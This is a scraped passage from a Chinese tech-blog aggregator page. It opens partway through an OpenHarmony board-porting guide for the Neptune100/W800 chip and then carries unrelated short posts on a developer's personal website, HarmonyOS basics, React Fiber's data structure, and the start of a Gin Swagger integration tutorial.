board_include_dirs = []

# Board adapter dir for OHOS components.
board_adapter_dir = ""

# Sysroot path.
board_configed_sysroot = ""

# Board storage type, it used for file system generation.
storage_type = ""

预编译

在工程根目录下输入预编译指令hb set可显示相关产品信息,如下:

hb set
OHOS Which product do you need?  (Use arrow keys)

hihope
 > neptune_iotlink_demo

OHOS Which product do you need?  neptune_iotlink_demo

执行hb set后,会在根目录下自动生成ohos_config.json文件,文件中会列出待编译的产品信息。

通过hb env可以查看选择出来的预编译环境变量。

[OHOS INFO] root path: /home/xxxx/openharmony_w800
[OHOS INFO] board: neptune100
[OHOS INFO] kernel: liteos_m
[OHOS INFO] product: neptune_iotlink_demo
[OHOS INFO] product path: /home/xxxx/openharmony_w800/vendor/hihope/neptune_iotlink_demo
[OHOS INFO] device path: /home/xxxx/openharmony_w800/device/board/hihope/neptune100/liteos_m
[OHOS INFO] device company: hihope

至此,预编译适配完成,但工程还不能执行hb build进行编译,还需要准备好后续的LiteOS-M内核移植。

内核移植

Kconfig适配

kernel/liteos_m的编译中,需要在相应的单板以及SoC目录下使用Kconfig文件进行索引。

  1. vendor/hihope/neptune_iotlink_demo目录下创建kernel_configs目录,并创建debug.config空文件。

  2. 打开kernel/liteos_m/Kconfig文件,可以看到在该文件通过orsource命令导入了device/boarddevice/soc下多个Kconfig文件,后续需要创建并修改这些文件:

    orsource "../../device/board/*/Kconfig.liteos_m.shields"
    orsource "../../device/board/$(BOARD_COMPANY)/Kconfig.liteos_m.defconfig.boards"
    orsource "../../device/board/$(BOARD_COMPANY)/Kconfig.liteos_m.boards"
    orsource "../../device/soc/*/Kconfig.liteos_m.defconfig"
    orsource "../../device/soc/*/Kconfig.liteos_m.series"
    orsource "../../device/soc/*/Kconfig.liteos_m.soc"
  1. device/board/hihope下创建相应的的Kconfig文件:
    ├──  neptune100                                  --- neptune100单板配置目录
    │   ├── Kconfig.liteos_m.board                   --- 单板的配置选项
    │   ├── Kconfig.liteos_m.defconfig.board         --- 单板的默认配置项
    │   └── liteos_m
    │       └── config.gni                           --- 单板的配置文件
    ├── Kconfig.liteos_m.boards                      --- 单板厂商下Boards配置信息
    └── Kconfig.liteos_m.defconfig.boards            --- 单板厂商下Boards默认配置信息
  1. 修改Board目录下Kconfig文件内容:

在 neptune100/Kconfig.liteos_m.board中添加,

    config BOARD_NEPTUNE100
        bool "select board neptune100"
        depends on SOC_WM800

配置只有SOC_WM800被选后,BOARD_NEPTUNE100才可被选。

在 neptune100/Kconfig.liteos_m.defconfig.board中添加,

    if BOARD_NEPTUNE100

    endif #BOARD_NEPTUNE100

用于添加 BOARD_NEPTUNE100默认配置

  1. device/soc/winnermicro下创建相应的的Kconfig文件:
    ├── wm800                                        --- W800系列
    │   ├── Kconfig.liteos_m.defconfig.wm800         --- W800芯片默认配置
    │   ├── Kconfig.liteos_m.defconfig.series        --- W800系列默认配置
    │   ├── Kconfig.liteos_m.series                  --- W800系列配置
    │   └── Kconfig.liteos_m.soc                     --- W800芯片配置
    ├── Kconfig.liteos_m.defconfig                   --- SoC默认配置
    ├── Kconfig.liteos_m.series                      --- Series配置
    └── Kconfig.liteos_m.soc                         --- SoC配置
  1. 修改Soc目录下Kconfig文件内容:

wm800/Kconfig.liteos_m.defconfig.wm800中添加:

     config SOC
        string
        default "wm800"
        depends on SOC_WM800

wm800/Kconfig.liteos_m.defconfig.series中添加:

    if SOC_SERIES_WM800

    rsource "Kconfig.liteos_m.defconfig.wm800"

    config SOC_SERIES
        string
        default "wm800"

    endif

在 wm800/Kconfig.liteos_m.series中添加:

    config SOC_SERIES_WM800
        bool "winnermicro 800 Series"
        select ARM
        select SOC_COMPANY_WINNERMICRO              --- 选择 SOC_COMPANY_WINNERMICRO
        select CPU_XT804
        help
            Enable support for winnermicro 800 series

在选择了 SOC_SERIES_WM800之后,才可选 wm800/Kconfig.liteos_m.soc文件中的 SOC_WM800:

    choice
        prompt "Winnermicro 800 series SoC"
        depends on SOC_SERIES_WM800

    config SOC_WM800                         --- 选择 SOC_WM800
        bool "SoC WM800"

    endchoice

综上所述,要编译单板BOARD_NEPTUNE100,则要分别选中:SOC_COMPANY_WINNERMICRO、SOC_SERIES_WM800、SOC_WM800

  1. kernel/liteos_m中执行make menuconfig进行选择配置,能够对SoC Series进行选择:

配置后的文件会默认保存在vendor/hihope/neptune_iotlink_demo/kernel_configs/debug.config,也可以直接填写debug.config

    LOSCFG_PLATFORM_QEMU_CSKY_SMARTL=y
    LOSCFG_SOC_SERIES_WM800=y

模块化编译

BoardSoC的编译采用模块化的编译方法,从kernel/liteos_m/BUILD.gn开始逐级向下递增。本方案的适配过程如下:

  1. device/board/hihope中新建文件BUILD.gn,新增内容如下:
    if (ohos_kernel_type == "liteos_m") {
      import("//kernel/liteos_m/liteos.gni")
      module_name = get_path_info(rebase_path("."), "name")
      module_group(module_name) {
        modules = [
          "neptune100",                     --- 单板模块
          "shields",
        ]
      }
    }

在上述BUILD.gn中,neptune100以及shields即是按目录层级组织的模块名。

  1. device/soc/winnermicro中,新建文件BUILD.gn,按目录层级组织,新增内容如下:
    if (ohos_kernel_type == "liteos_m") {
      import("//kernel/liteos_m/liteos.gni")
      module_name = get_path_info(rebase_path("."), "name")
      module_group(module_name) {
        modules = [
         "hals",
         "wm800",
        ]
      }
    }
  1. device/soc/winnermicro各个层级模块下,同样新增文件BUILD.gn,将该层级模块加入编译。以device/soc/winnermicro/wm800/board/platform/sys/BUILD.gn为例:
    import("//kernel/liteos_m/liteos.gni")
    module_name = get_path_info(rebase_path("."), "name")
    kernel_module(module_name) {             --- 编译的模块
      sources = [                            --- 编译的源文件
        "wm_main.c",
      ]
      include_dirs = [                       --- 模块内使用到的头文件
        ".",
      ]
    }
  1. 为了组织链接以及一些编译选项,在device/soc/winnermicro/wm800/board/BUILD.gn下的config("board_config")填入了相应的参数:
    config("board_config") {
      ldflags = []                            --- 链接参数,包括ld文件
      libs = []                               --- 链接库
      include_dirs = []                       --- 公共头文件
  1. 为了组织一些产品侧的应用,需要强制链接到产品工程中来,本方案在vendor相应的config.json加入了相应的list来组织,在vendor/hihope/neptune_iotlink_demo/config.json增加对应的list:
     "bin_list": [                            --- demo list
       {
         "elf_name": "hihope",
         "enable": "false",                   --- list开关
         "force_link_libs": [
           "bootstrap",
           "broadcast",
           ...
         ]
       }

将demo应用作为模块库来管理,开启/关闭某个demo,在bin_list中增减相应库文件即可。bin_list在gn中可以直接被读取,在device/board/hihope/neptune100/liteos_m/config.gni新增内容:

    # config.json parse
    if (product_path != "") {
      product_conf = read_file("${product_path}/config.json", "json")
      product_name = product_conf.product_name
      bin_list = product_conf.bin_list
    }

读取list后即可在相应的链接选项上加入相关的组件库,在//device/soc/winnermicro/wm800/BUILD.gn添加内容:

    foreach(bin_file, bin_list) {
       build_enable = bin_file.enable
       ...
       if(build_enable == "true")
       {
         ...
         foreach(force_link_lib, bin_file.force_link_libs) {
         ldflags += [ "-l${force_link_lib}" ]
         }
         ...
       }
    }

内核子系统适配

vendor/hihope/neptune_iotlink_demo/config.json添加内核子系统及相关配置,如下:

"subsystems": [
 {
   "subsystem": "kernel",
   "components": [
     { 
       "component": "liteos_m", "features":[] 
     }
   ]
},

内核启动适配

由于Neptune100开发板的芯片架构为OpenHarmony不支持的ck804ef架构,需要进行ck804ef架构移植。适配 kernel\liteos_m\arch\include中定义的通用的文件以及函数列表,并放在了 kernel\liteos_m\arch\csky\v2\ck804\gcc文件夹下。

内核初始化示例如下:

osStatus_t ret = osKernelInitialize();                    --- 内核初始化
if(ret == osOK)
{
  threadId = osThreadNew((osThreadFunc_t)sys_init,NULL,&g_main_task); --- 创建init线程
  if(threadId!=NULL)
  {
    osKernelStart();                                          --- 线程调度
  }
}

board_main在启动OHOS_SystemInit之前,需要初始化必要的动作,如下:

...
UserMain();         --- 启动OpenHarmony  OHOS_SystemInit的之前完成驱动的初始化
...
OHOS_SystemInit();  --- 启动OpenHarmony服务,以及组件初始化
...

UserMain函数在device/soc/winnermicro/wm800/board/app/main.c文件中,如下:

...
if (DeviceManagerStart()) {                                      --- HDF初始化
    printf("[%s] No drivers need load by hdf manager!",__func__);
}
...

HDF驱动框架适配

HDF驱动框架提供了一套应用访问硬件的统一接口,可以简化应用开发,添加HDF组件需要在//vendor/hihope/neptune_iotlink_demo/kernel_configs添加:

LOSCFG_DRIVERS_HDF=y
LOSCFG_DRIVERS_HDF_PLATFORM=y

驱动适配相关文件放置在drivers/adapter/platform中,对应有gpio,i2c,pwm,spi,uart,watchdog,都是通过HDF机制加载,本章节以GPIO和UART为例进行详细说明。

GPIO适配

  1. 芯片驱动适配文件位于drivers/adapter/platform目录,在gpio目录增加gpio_wm.c文件,在BUILD.gn文件中,描述了W800驱动的编译适配。如下:
    ...
    if (defined(LOSCFG_SOC_COMPANY_WINNERMICRO)) {
      sources += [ "gpio_wm.c" ]
    }
    ...
  1. gpio_wm.c中驱动描述文件如下:
    /* HdfDriverEntry definitions */
    struct HdfDriverEntry g_GpioDriverEntry = {
        .moduleVersion = 1,
        .moduleName = "WM_GPIO_MODULE_HDF",
        .Bind = GpioDriverBind,
        .Init = GpioDriverInit,
        .Release = GpioDriverRelease,
    };
    HDF_INIT(g_GpioDriverEntry);
  1. device/board/hihope/shields/neptune100/neptune100.hcs添加gpio硬件描述信息, 添加内容如下:
    root {
        platform {
         gpio_config {
             match_attr = "gpio_config";
             groupNum = 1;
             pinNum = 48;
         }
        }
    }
  1. 在GpioDriverInit获取hcs参数进行初始化,如下:
     ...
     gpioCntlr = GpioCntlrFromHdfDev(device);        --- gpioCntlr节点变量获取具体gpio配置
     if (gpioCntlr == NULL) {
         HDF_LOGE("GpioCntlrFromHdfDev fail\r\n");
         return HDF_DEV_ERR_NO_DEVICE_SERVICE;
     }
     ...

UART适配

  1. 芯片驱动适配文件位于drivers/adapter/platform目录,在uart目录增加uart_wm.c文件,在BUILD.gn文件中,描述了W800驱动的编译适配。如下:
    ...
    if (defined(LOSCFG_SOC_COMPANY_WINNERMICRO)) {
      sources += [ "uart_wm.c" ]
    }
    ...
  1. uart_wm.c中驱动描述文件如下:
    /* HdfDriverEntry definitions */
    struct HdfDriverEntry g_UartDriverEntry = {
        .moduleVersion = 1,
        .moduleName = "W800_UART_MODULE_HDF",
        .Bind = UartDriverBind,
        .Init = UartDriverInit,
        .Release = UartDriverRelease,
    };

    /* Initialize HdfDriverEntry */
    HDF_INIT(g_UartDriverEntry);
  1. device/board/hihope/shields/neptune100/neptune100.hcs添加uart硬件描述信息, 添加内容如下:
    root {
        platform {
         uart_config {
         /*
             uart0 {
                 match_attr = "uart0_config";
                 num = 0;
                 baudrate = 115200;
                 parity = 0;
                 stopBit = 1;
                 data = 8;
             }*/
             uart1 {
                 match_attr = "uart1_config";
                 num = 1;
                 baudrate = 115200;
                 parity = 0;
                 stopBit = 1;
                 data = 8;
             }
          }
       }
    }
  1. 在UartDriverInit获取hcs参数进行初始化,如下:
     ...
     host = UartHostFromDevice(device);
     if (host == NULL) {
         HDF_LOGE("%s: host is NULL", __func__);
         return HDF_ERR_INVALID_OBJECT;
     }
     ...

OpenHarmony子系统适配

子系统的编译选项入口在相应产品config.json下,如:vendor/hihope/neptune_iotlink_demo/config.json

wifi_lite组件

首先,在config.json文件中,增加communication子系统的wifi_lite部件,如下:

{
  "subsystem": "communication",
  "components": [
    {
      "component": "wifi_lite",
      "optional": "true"
    }
  ]
},

wifi_lite部件在 build/lite/components/communication.json文件中,描述如下:

{
  "component": "wifi_lite",
  "targets": [
    "//foundation/communication/wifi_lite:wifi"       --- wifi_lite的编译目标
  ]
},

在本案例中,wifi适配源码可见device/soc/winnermicro/wm800/board/src/wifi/wm_wifi.c,如下:

int tls_wifi_netif_add_status_event(tls_wifi_netif_status_event_fn event_fn)   ---用于增加wifi事件功能
{
  u32 cpu_sr;
  struct tls_wifi_netif_status_event *evt;
  //if exist, remove from event list first.
  tls_wifi_netif_remove_status_event(event_fn);
  evt = tls_mem_alloc(sizeof(struct tls_wifi_netif_status_event));
  if(evt==NULL)
      return -1;
  memset(evt, 0, sizeof(struct tls_wifi_netif_status_event));
  evt->status_callback = event_fn;
  cpu_sr = tls_os_set_critical();
  dl_list_add_tail(&wifi_netif_status_event.list, &evt->list);
  tls_os_release_critical(cpu_sr);

  return 0;
}

系统服务管理子系统适配

系统服务管理子系统适配添加samgr_lite部件,直接在config.json配置,如下:

{
  "subsystem": "systemabilitymgr",
  "components": [
    {
      "component": "samgr_lite"
    }
  ]
},

公共基础库子系统适配

公共基础库子系统适配添加了kv_store、file部件,直接在config.json配置,如下:

{
  "subsystem": "utils",
  "components": [
    {
      "component": "kv_store",
      "features": [
        "enable_ohos_utils_native_lite_kv_store_use_posix_kv_api = true"
      ]
    },
    { "component": "file", "features":[] }
  ]
},

适配kv_store部件时,键值对会写到文件中。在轻量系统中,文件操作相关接口有POSIX接口与HalFiles接口这两套实现。 因为对接内核的文件系统,采用POSIX相关的接口,所以features需要增加enable_ohos_utils_native_lite_kv_store_use_posix_kv_api = true

启动恢复子系统适配

启动恢复子系统适配添加了bootstrap_lite、syspara_lite部件,直接在config.json配置,如下:

{
  "subsystem": "startup",
  "components": [
    {
      "component": "bootstrap_lite"
    },
    {
      "component": "syspara_lite",
      "features": [
        "enable_ohos_startup_syspara_lite_use_posix_file_api = true",
        "config_ohos_startup_syspara_lite_data_path = \"/data/\""
      ]
    }
  ]
},

适配bootstrap_lite部件时,需要在链接脚本文件device/soc/winnermicro/wm800/board/ld/w800/gcc_csky.ld中手动新增如下段:

.zinitcall_array :
{
 . = ALIGN(0x4) ;
 PROVIDE_HIDDEN (__zinitcall_core_start = .);
 KEEP (*(SORT(.zinitcall.core*)))
 KEEP (*(.zinitcall.core*))
 PROVIDE_HIDDEN (__zinitcall_core_end = .);
 . = ALIGN(0x4) ;
 PROVIDE_HIDDEN (__zinitcall_device_start = .);
 KEEP (*(SORT(.zinitcall.device*)))
 KEEP (*(.zinitcall.device*))
 PROVIDE_HIDDEN (__zinitcall_device_end = .);
 . = ALIGN(0x4) ;
 PROVIDE_HIDDEN (__zinitcall_bsp_start = .);
 KEEP (*(SORT(.zinitcall.bsp*)))
 KEEP (*(.zinitcall.bsp*))
 PROVIDE_HIDDEN (__zinitcall_bsp_end = .);
 . = ALIGN(0x4) ;
 PROVIDE_HIDDEN (__zinitcall_sys_service_start = .);
 KEEP (*(SORT(.zinitcall.sys.service*)))
 KEEP (*(.zinitcall.sys.service*))
 PROVIDE_HIDDEN (__zinitcall_sys_service_end = .);
 . = ALIGN(0x4) ;
 PROVIDE_HIDDEN (__zinitcall_app_service_start = .);
 KEEP (*(SORT(.zinitcall.app.service*)))
 KEEP (*(.zinitcall.app.service*))
 PROVIDE_HIDDEN (__zinitcall_app_service_end = .);
 . = ALIGN(0x4) ;
 PROVIDE_HIDDEN (__zinitcall_sys_feature_start = .);
 KEEP (*(SORT(.zinitcall.sys.feature*)))
 KEEP (*(.zinitcall.sys.feature*))
 PROVIDE_HIDDEN (__zinitcall_sys_feature_end = .);
 . = ALIGN(0x4) ;
 PROVIDE_HIDDEN (__zinitcall_app_feature_start = .);
 KEEP (*(SORT(.zinitcall.app.feature*)))
 KEEP (*(.zinitcall.app.feature*))
 PROVIDE_HIDDEN (__zinitcall_app_feature_end = .);
 . = ALIGN(0x4) ;
 PROVIDE_HIDDEN (__zinitcall_run_start = .);
 KEEP (*(SORT(.zinitcall.run*)))
 KEEP (*(.zinitcall.run*))
 PROVIDE_HIDDEN (__zinitcall_run_end = .);
 . = ALIGN(0x4) ;
 PROVIDE_HIDDEN (__zinitcall_test_start = .);
 KEEP (*(SORT(.zinitcall.test*)))
 KEEP (*(.zinitcall.test*))
 PROVIDE_HIDDEN (__zinitcall_test_end = .);
 . = ALIGN(0x4) ;
 PROVIDE_HIDDEN (__zinitcall_exit_start = .);
 KEEP (*(SORT(.zinitcall.exit*)))
 KEEP (*(.zinitcall.exit*))
 PROVIDE_HIDDEN (__zinitcall_exit_end = .);
} > REGION_RODATA

需要新增上述段是因为bootstrap_init提供的对外接口,见utils/native/lite/include/ohos_init.h文件,采用的是灌段的形式,最终会保存到上述链接段中。主要的服务自动初始化宏如下表格所示:

接口名描述
SYS_SERVICE_INIT(func)标识核心系统服务的初始化启动入口
SYS_FEATURE_INIT(func)标识核心系统功能的初始化启动入口
APP_SERVICE_INIT(func)标识应用层服务的初始化启动入口
APP_FEATURE_INIT(func)标识应用层功能的初始化启动入口

通过上面加载的组件编译出来的lib文件需要手动加入强制链接。

如在 vendor/hihope/neptune_iotlink_demo/config.json 中配置了bootstrap_lite 部件

{
  "subsystem": "startup",
  "components": [
    {
      "component": "bootstrap_lite"
    },
    ...
  ]
},

bootstrap_lite部件会编译base/startup/bootstrap_lite/services/source/bootstrap_service.c,该文件中,通过SYS_SERVICE_INITInit函数符号灌段到__zinitcall_sys_service_start__zinitcall_sys_service_end中,由于Init函数是没有显式调用它,所以需要将它强制链接到最终的镜像。如下:

static void Init(void)
{
    static Bootstrap bootstrap;
    bootstrap.GetName = GetName;
    bootstrap.Initialize = Initialize;
    bootstrap.MessageHandle = MessageHandle;
    bootstrap.GetTaskConfig = GetTaskConfig;
    bootstrap.flag = FALSE;
    SAMGR_GetInstance()->RegisterService((Service *)&bootstrap);
}
SYS_SERVICE_INIT(Init);   --- 通过SYS启动即SYS_INIT启动就需要强制链接生成的lib

base/startup/bootstrap_lite/services/source/BUILD.gn文件中,描述了在out/neptune100/neptune_iotlink_demo/libs 生成 libbootstrap.a,如下:

static_library("bootstrap") {
  sources = [
    "bootstrap_service.c",
    "system_init.c",
  ]
  ...

DD一下:欢迎大家关注公众号<程序猿百晓生>,可以了解到以下内容:

1.OpenHarmony开发基础
2.OpenHarmony北向开发环境搭建
3.鸿蒙南向开发环境的搭建
4.鸿蒙生态应用开发白皮书V2.0 & V3.0
5.鸿蒙开发面试真题(含参考答案) 
6.TypeScript入门学习手册
7.OpenHarmony 经典面试题(含参考答案)
8.OpenHarmony设备开发入门【最新版】
9.沉浸式剖析OpenHarmony源代码
10.系统定制指南
11.【OpenHarmony】Uboot 驱动加载流程
12.OpenHarmony构建系统--GN与子系统、部件、模块详解
13.ohos开机init启动流程
14.鸿蒙版性能优化指南
.......

适配syspara_lite部件时,系统参数会最终写到文件中进行持久化保存。在轻量系统中,文件操作相关接口有POSIX接口与HalFiles接口这两套实现。

因为对接内核的文件系统,采用POSIX相关的接口,所以features字段中需要增加enable_ohos_startup_syspara_lite_use_posix_file_api = true

XTS子系统适配

XTS子系统的适配,直接在config.json中加入组件选项:

{
 "subsystem": "xts",
 "components": [
   { 
     "component": "xts_acts",
     "features":
        [
       "config_ohos_xts_acts_utils_lite_kv_store_data_path = \"/data\"",
       "enable_ohos_test_xts_acts_use_thirdparty_lwip = true"
     ]
   },
   { "component": "xts_tools", "features":[] }
 ]
}

另外,XTS功能也使用了list来组织,在config.json文件中增减相应模块:

"bin_list": [
  {
    "enable": "true",
    "force_link_libs": [
       "module_ActsParameterTest",
       "module_ActsBootstrapTest",
       "module_ActsDfxFuncTest",
       "module_ActsHieventLiteTest",
       "module_ActsSamgrTest",
       "module_ActsUtilsFileTest",
       "module_ActsKvStoreTest",
       "module_ActsWifiServiceTest"
    ]
  }
],

其它组件的适配过程与官方以及其它厂商的过程类似,不再赘述。

by 塞尔维亚大汉 at January 21, 2025 12:46 PM

juejin career

16年+程序员的个人网站应该长啥样?

本文首发于掘金。
原文链接:https://sunwei.xyz/posts/001

程序员就爱捣鼓自己的网站,没工作时,刚工作时,直到现在,都喜欢,哈哈哈哈哈! 最开始用Wordpress,后面用Jekyll上传到Github Pages,再后来用Hugo + Netlify。

现在用Hugoverse,是一个将Markdown笔记转换成站点的工具。 关键是我自己开源的,用自己开源的工具,做自己的官网,那感觉,不要太丝滑。

来吧,展示!

sunwei.xyz

sunwei.xyz.png

来,告诉我,你们的第一感觉,怎么样?

个人网站定位

最开始做个人网站,就想啥都往上放。

  • 调试了一个Bug,也要记录一下心酸历程
  • 用了个新工具,这个必需得来一篇,不然别人怎么知道我又学了个新工具
  • 看到个好东西,怕忘了,高低也得来一篇
  • 工作总结?再合适不过了
  • 技术洞见,最应该多写的,但哪又能那么容易
  • ...

整个的感觉就是大杂烩,事无巨细,都得记录一下。

现在又有了准备个人网站的冲动,但这一次,和以前完全不一样了!

这一次需求变得更明确了些:

  • 我希望别人能方便联系我
  • 我希望大家知道我能提供哪些商业服务
  • 我希望给大家展示一下我的成果 - 把源码笔记整理成书/册子,展示自己的开源项目
  • 我希望在互联网上,给自己开块地,好好经营一下个人IP

技术人员的可能性

35+,一个神奇的数字。

同样是软件工程师,在中国,35岁可能意味着即将被“输送”到社会;而在国外,却被视为职业生涯的黄金时期。

我一直认为,程序员是一个创造性的职业,需要极强的脑力投入,用抽象思维和逻辑能力去解决实际问题。但为什么慢慢地,大家都被称作“程序猿”或“软件农民工”了?

很多人归因于当前的大环境:

  • 项目导向:互联网行业占主流,做的多是CRUD(增删改查)项目,缺乏深度技术积累。
  • 岗位分布:架构师岗位稀少,大多数人是项目小组长,没法深入技术领域。
  • 职业发展:优秀程序员很难专注写代码,因为国内普遍认为只有转管理岗才能发展下去。
  • 拿来主义:因为节奏快,没时间造轮子。即使现有的轮子是“方”的,也照样用。

对于这些问题,我没有现成的答案。

但,存在即合理
公司看重业务,个人看重技术,冲突似乎不可避免。

难道,这条路只能这样走下去了吗? 或许,还有其他的可能性值得探索。

AI助力打造个人IP和第二曲线

最近了解到《第二曲线》原理,其中一个观点让我很有共鸣:

我们的第一曲线,也就是通过基本技能赚取的工资,往往会遇到增长的瓶颈。 刚开始几年,涨薪快,发展空间大,但随着基数变大,公司对你的投入产出比可能就不划算了。 这时候,你在领导眼中,可能慢慢就成了“成本”。

在职场的博弈里,其实有三种可能:

  • 零和:公司压榨你或者你只赚基本工资。
  • 负和:双方都输,互相折腾。
  • 正和:双赢,你和公司都得益。

显然,正和才是最优解。
要实现这个目标,不仅需要为公司创造价值,还得为自己积累更多东西。 这种积累,不只是技术上的,还可以是商业化能力。 说白了,就是把自己打造为一个“品牌”或“产品”,能够为更多人提供服务,而不仅仅是埋头打工。

这其实就是“第二曲线”的精髓:
将你的技术积累,变成更大的商业价值

在AI飞速发展的今天,原本需要一个团队才能完成的事情,现在一个人就可以搞定。 只要我们既关注业务,又精通技术,就能把这场游戏变成双赢的局面。

我正在探索这条路,也欢迎大家一起交流!

by 韦德说 at January 21, 2025 12:34 PM

HarmonyOS快速入门

HarmonyOS快速入门

1、基本概念

UI框架:

HarmonyOS提供了一套UI开发框架,即方舟开发框架(ArkUI框架) 。方舟开发框架可为开发者提供应用UI开发所必需的能力,比如多种组件、布局计算、动画能力、UI交互、绘制等。

方舟开发框架针对不同目的和技术背景的开发者提供了两种开发范式,分别是基于ArkTS的声明式开发范式(简称“声明式开发范式”)和兼容JS的类Web开发范式(简称“类Web开发范式”)。以下是两种开发范式的简单对比。

开发范式名称语言生态UI更新方式适用场景适用人群
声明式开发范式ArkTS语言数据驱动更新复杂度较大、团队合作度较高的程序移动系统应用开发人员、系统应用开发人员
类Web开发范式JS语言数据驱动更新界面较为简单的程序应用和卡片Web前端开发人员

应用模型:

应用模型是HarmonyOS为开发者提供的应用程序所需能力的抽象提炼,它提供了应用程序必备的组件和运行机制。有了应用模型,开发者可以基于一套统一的模型进行应用开发,使应用开发更简单、高效。

应用模型.png

为什么称之为Stage模型呢?

提供了AbilityStage、WindowStage等类作为应用组件和Window窗口的“舞台”,因此称这种应用模型为Stage模型。

2、工具准备

下载地址:developer.huawei.com/consumer/cn…

by 蓝枫Amy at January 21, 2025 12:31 PM

juejin frontend

说说Fiber的含义与数据结构

Fiber 是 React 16 引入的一种新的架构和数据结构,它是 React Reconciler 的核心实现。Fiber 的目标是解决 React 在渲染大型应用时的性能问题,并支持异步渲染、优先级调度等高级特性。以下是 Fiber 的含义及其数据结构的详细说明:


1. Fiber 的含义

1.1 Fiber 是什么?

  • Fiber 是 React 中的一个工作单元,表示一个组件或 DOM 节点。
  • 每个 Fiber 节点对应一个 React 元素(如组件、DOM 节点等),并包含了该元素的相关信息(如类型、状态、子节点等)。
  • Fiber 架构将渲染过程分解为多个小任务(Fiber 节点),每个任务可以在执行过程中暂停、中断和恢复。

1.2 Fiber 的目标

  • 异步渲染:将渲染任务分解为多个小任务,支持任务的暂停、中断和恢复。
  • 优先级调度:根据任务的优先级动态调整渲染顺序。
  • 增量渲染:将渲染任务分成多个小片段,逐步完成。
  • 更好的错误处理:支持错误边界(Error Boundaries),更好地捕获和处理组件树中的错误。

2. Fiber 的数据结构

Fiber 是一个 JavaScript 对象,包含了组件的类型、状态、子节点等信息。以下是 Fiber 的主要属性:

2.1 核心属性

属性说明
type组件的类型(如函数组件、类组件、DOM 节点类型等)。
key组件的唯一标识符,用于优化列表渲染。
props组件的属性(props)。
stateNode组件实例或 DOM 节点。
tagFiber 节点的类型(如函数组件、类组件、Host 组件等)。
return父 Fiber 节点。
child第一个子 Fiber 节点。
sibling下一个兄弟 Fiber 节点。
index当前 Fiber 节点在父节点中的索引。
ref组件的引用(ref)。
pendingProps新的 props,等待应用到组件。
memoizedProps上一次渲染时使用的 props。
memoizedState上一次渲染时使用的 state。
updateQueue状态更新的队列。
effectTag标记当前 Fiber 节点的副作用(如插入、更新、删除等)。
nextEffect下一个有副作用的 Fiber 节点。
firstEffect第一个有副作用的子 Fiber 节点。
lastEffect最后一个有副作用的子 Fiber 节点。
alternate当前 Fiber 节点的副本,用于双缓存机制。
expirationTime任务的过期时间,用于优先级调度。
mode渲染模式(如同步模式、并发模式等)。

2.2 示例

以下是一个 Fiber 节点的示例:

{
  type: 'div', // 节点类型
  key: null,   // 唯一标识符
  props: {     // 属性
    className: 'container',
    children: [
      { type: 'h1', props: { children: 'Hello, World!' } },
      { type: 'p', props: { children: 'This is a paragraph.' } }
    ]
  },
  stateNode: divElement, // 对应的 DOM 节点
  tag: 5,                // 节点类型(5 表示 Host 组件)
  return: parentFiber,   // 父节点
  child: childFiber,     // 第一个子节点
  sibling: siblingFiber, // 下一个兄弟节点
  index: 0,              // 在父节点中的索引
  ref: null,             // 引用
  pendingProps: { className: 'container' }, // 新的 props
  memoizedProps: { className: 'container' }, // 上一次渲染时使用的 props
  memoizedState: null,   // 上一次渲染时使用的 state
  updateQueue: null,     // 状态更新队列
  effectTag: 1,          // 副作用标记(1 表示插入)
  nextEffect: null,      // 下一个有副作用的节点
  firstEffect: null,     // 第一个有副作用的子节点
  lastEffect: null,      // 最后一个有副作用的子节点
  alternate: null,       // 当前节点的副本
  expirationTime: 0,     // 任务过期时间
  mode: 0                // 渲染模式
}

3. Fiber 的双缓存机制

React 使用双缓存机制来管理 Fiber 树:

  • 当前树(Current Tree):当前显示的 UI 对应的 Fiber 树。
  • 工作树(WorkInProgress Tree):正在构建的新 Fiber 树。

当工作树构建完成后,React 会将其切换为当前树,从而实现 UI 的更新。


4. Fiber 的任务调度

React 使用调度器(Scheduler)来管理 Fiber 任务的执行顺序:

  • 调度器会根据任务的优先级动态调整执行顺序,确保高优先级的任务优先执行。
  • 例如,用户输入(高优先级)会优先处理,而数据更新(低优先级)可以稍后处理。

5. 总结

  • Fiber 的含义
    • Fiber 是 React 中的一个工作单元,表示一个组件或 DOM 节点。
    • Fiber 架构支持异步渲染、优先级调度、增量渲染等特性。
  • Fiber 的数据结构
    • Fiber 是一个 JavaScript 对象,包含了组件的类型、状态、子节点等信息。
    • 主要属性包括 typepropsstateNodechildsiblingeffectTag 等。
  • Fiber 的双缓存机制
    • 使用当前树和工作树来管理 Fiber 树的更新。
  • Fiber 的任务调度
    • 使用调度器根据任务优先级动态调整执行顺序。

通过 Fiber 架构,React 实现了更高效、更灵活的渲染机制,能够更好地满足现代 Web 应用的需求。

by 我是区块链小学生 at January 21, 2025 12:26 PM

juejin backend

Gin 入门指南 Swagger aipfox集成

Gin 入门指南 Swagger aipfox集成

简介

在构建 Web API 时,良好的文档对于开发者和用户都至关重要。Swagger (OpenAPI) 是一个强大的 API 文档工具,可以帮助我们自动生成交互式的 API 文档。本指南将详细介绍如何在 Gin 框架中集成和使用 Swagger。

一、环境准备

1. 安装依赖


# 安装 swag 命令行工具
go install github.com/swaggo/swag/cmd/swag@latest

# 安装 gin-swagger 
go get -u github.com/swaggo/gin-swagger
go get -u github.com/swaggo/files

# 安装 swaggo/swag
go get -u github.com/swaggo/swag

2. 项目结构

推荐的项目结构如下:

.
├── api/            # API 相关代码
│   └── v1/         # API 版本
├── docs/           # swagger文档
├── handlers/       # 路由处理函数
├── internal/       # 内部代码
├── models/         # 数据模型
├── pkg/            # 公共包
└── main.go         # 入口文件

快捷命令创建项目结构:

mkdir myproject && cd myproject
mkdir -p api/v1 docs handlers internal models pkg
touch main.go
go mod init myproject

二、代码实现

1. 定义数据模型

models 目录中定义统一的请求响应结构:

// 统一响应格式
type Response struct {
    Code    int         `json:"code" example:"200"`    // 响应码
    Message string      `json:"message" example:"success"` // 响应信息
    Data    interface{} `json:"data"`                 // 响应数据
}

// 分页请求
type PageRequest struct {
    Page     int `json:"page" form:"page" example:"1"`         // 页码
    PageSize int `json:"page_size" form:"page_size" example:"10"` // 每页数量
}

// 分页响应
type PageResponse struct {
    Total    int64       `json:"total" example:"100"`    // 总数
    List     interface{} `json:"list"`                   // 数据列表
    Page     int         `json:"page" example:"1"`       // 当前页
    PageSize int         `json:"page_size" example:"10"` // 每页数量
}

// 用户模型示例
type User struct {
    ID        uint      `json:"id" example:"1"`
    Username  string    `json:"username" binding:"required" example:"test123" description:"用户名"`
    Email     string    `json:"email" binding:"required,email" example:"test@example.com"`
